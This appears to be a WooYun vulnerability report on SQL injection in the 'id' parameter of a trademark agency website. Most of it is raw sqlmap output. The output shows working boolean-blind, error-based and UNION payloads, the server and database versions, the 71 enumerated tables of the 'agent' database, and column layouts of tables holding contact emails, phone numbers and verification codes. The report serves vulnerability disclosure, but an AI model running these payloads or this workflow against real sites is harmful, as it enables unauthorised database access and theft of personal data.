WooYun.org

http://**.**.**.**/trademark.php?id=43
这个域名id参数存在注入
---------------------------------------------------------------
root@attack:~# sqlmap -u "http://**.**.**.**/trademark.php?id=43"
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 19:28:04
[19:28:05] [INFO] testing connection to the target URL
[19:28:09] [INFO] testing if the target URL is stable
[19:28:10] [INFO] target URL is stable
[19:28:10] [INFO] testing if GET parameter 'id' is dynamic
[19:28:10] [INFO] confirming that GET parameter 'id' is dynamic
[19:28:11] [INFO] GET parameter 'id' is dynamic
[19:28:11] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[19:28:11] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to XSS attacks
[19:28:11] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[19:28:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:28:15] [WARNING] reflective value(s) found and filtering out
[19:28:17] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:28:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[19:28:17] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[19:28:17] [INFO] testing 'MySQL inline queries'
[19:28:48] [WARNING] there is a possibility that the target (or WAF) is dropping 'suspicious' requests
[19:28:48] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[19:28:49] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[19:28:49] [WARNING] time-based comparison requires larger statistical model, please wait..................
[19:29:21] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[19:29:21] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT)'
[19:29:22] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[19:29:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[19:29:23] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[19:29:26] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[19:29:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[19:29:31] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT)'
[19:29:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT - comment)'
[19:29:41] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (SELECT - comment)'
[19:29:49] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[19:29:54] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[19:30:00] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[19:30:05] [INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)'
[19:30:10] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query)'
[19:30:12] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query)'
[19:30:13] [INFO] testing 'MySQL <= 5.0.11 AND time-based blind (heavy query - comment)'
[19:30:18] [INFO] testing 'MySQL <= 5.0.11 OR time-based blind (heavy query - comment)'
[19:30:20] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT)'
[19:30:25] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (SELECT - comment)'
[19:30:31] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind'
[19:30:36] [INFO] testing 'MySQL >= 5.0.12 RLIKE time-based blind (comment)'
[19:30:42] [INFO] testing 'MySQL AND time-based blind (ELT)'
[19:30:47] [INFO] testing 'MySQL OR time-based blind (ELT)'
[19:30:52] [INFO] testing 'MySQL AND time-based blind (ELT - comment)'
[19:30:57] [INFO] testing 'MySQL OR time-based blind (ELT - comment)'
[19:31:02] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[19:31:04] [INFO] testing 'MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE)'
[19:31:05] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[19:31:10] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace (SELECT)'
[19:31:18] [INFO] testing 'MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)'
[19:31:22] [INFO] testing 'MySQL time-based blind - Parameter replace (bool)'
[19:31:30] [INFO] testing 'MySQL time-based blind - Parameter replace (ELT)'
[19:31:36] [INFO] testing 'MySQL time-based blind - Parameter replace (MAKE_SET)'
[19:31:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:31:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:32:13] [INFO] target URL appears to be UNION injectable with 6 columns
[19:32:19] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[19:32:31] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 88 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=43 AND 9099=9099
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=43 AND (SELECT 3935 FROM(SELECT COUNT(*),CONCAT(0x71766a6a71,(SELECT (ELT(3935=3935,1))),0x717a767671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: id=-8449 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71766a6a71,0x7172756d57477461534d,0x717a767671),NULL,NULL--
---
[19:32:40] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5.10
web application technology: Apache 2.2.3, PHP 5.2.17
back-end DBMS: MySQL 5.0
[19:32:40] [INFO] fetched data logged to text files under '/root/.sqlmap/output/**.**.**.**'
---------------------------------------------------------------------
current database: 'agent'
-------------------------------------------
Database: agent
[71 tables]
+----------------------------------+
| Del_mark_advise_tmp_will |
| Del_markinfo1 |
| domain |
| agent_mainclass |
| agent_reg |
| agent_subclass |
| agents |
| article |
| city |
| comp_register_info |
| comp_tracking_record |
| contacts |
| del_biz4 |
| file |
| graph |
| hightech |
| hightech_del |
| htbh |
| info |
| keywords |
| keywords_view |
| links |
| manager |
| manager_logintime |
| manager_power |
| mark |
| markTest |
| mark_advise |
| mark_advise_400 |
| mark_advise_tmp |
| mark_advise_tmp_before |
| mark_advise_tmp_copyright |
| mark_advise_tmp_copyright_record |
| mark_advise_tmp_copyright_robot |
| mark_advise_tmp_reg |
| mark_new |
| mark_reg_manage |
| mark_robot |
| mark_robot_record |
| mark_tracking_record |
| mark_tracking_record_count |
| mark_upload |
| objCase |
| objCase_recored |
| objection |
| objection_recored |
| realTel |
| rejectV2 |
| rejectV2_applicant |
| rejectV2_applicant_record |
| robotRecord |
| robot_gues_record |
| robot_guest |
| rtm_commentmeta |
| rtm_comments |
| rtm_links |
| rtm_options |
| rtm_postmeta |
| rtm_posts |
| rtm_term_relationships |
| rtm_term_taxonomy |
| rtm_terms |
| rtm_usermeta |
| rtm_users |
| sendMsgRecord |
| tmp |
| tmp2 |
| tongji_robot_zhuanli |
| tongji_zi |
| user_power |
| watch_mark_tmp |
+----------------------------------+
71个表
----------------------------------------------
Database: agent
Table: Del_mark_advise_tmp_will
[31 columns]
+-----------------+--------------+
| Column | Type |
+-----------------+--------------+
| group | varchar(100) |
| time | date |
| cdtime | int(11) |
| checked | tinyint(1) |
| checker | varchar(20) |
| checkTime | int(11) |
| class_id | char(8) |
| contact_email | varchar(255) |
| contact_name | varchar(255) |
| contact_qq | varchar(50) |
| contact_tel | varchar(50) |
| fenlei | varchar(20) |
| fields | varchar(100) |
| huifu | varchar(255) |
| id | int(11) |
| intention | tinyint(4) |
| ipAddr | varchar(150) |
| is_delete | tinyint(1) |
| isPuplic | int(11) |
| m_chaxunbg | varchar(500) |
| m_genzhong | int(11) |
| m_zhucetp | char(10) |
| m_zhuti | varchar(500) |
| mark_file | char(6) |
| mutilDevelop | tinyint(2) |
| name | varchar(255) |
| notes | mediumtext |
| rejectionReason | varchar(500) |
| source | char(10) |
| types | tinyint(1) |
| ztbg | varchar(500) |
+-----------------+--------------+
--------------------------------------------------
Database: agent
Table: realTel
[3 columns]
+------------+-------------+
| Column | Type |
+------------+-------------+
| id | int(11) |
| tel | varchar(15) |
| verifyCode | varchar(8) |
+------------+-------------+
-------------------------------------------------

-------------------------------------------------------------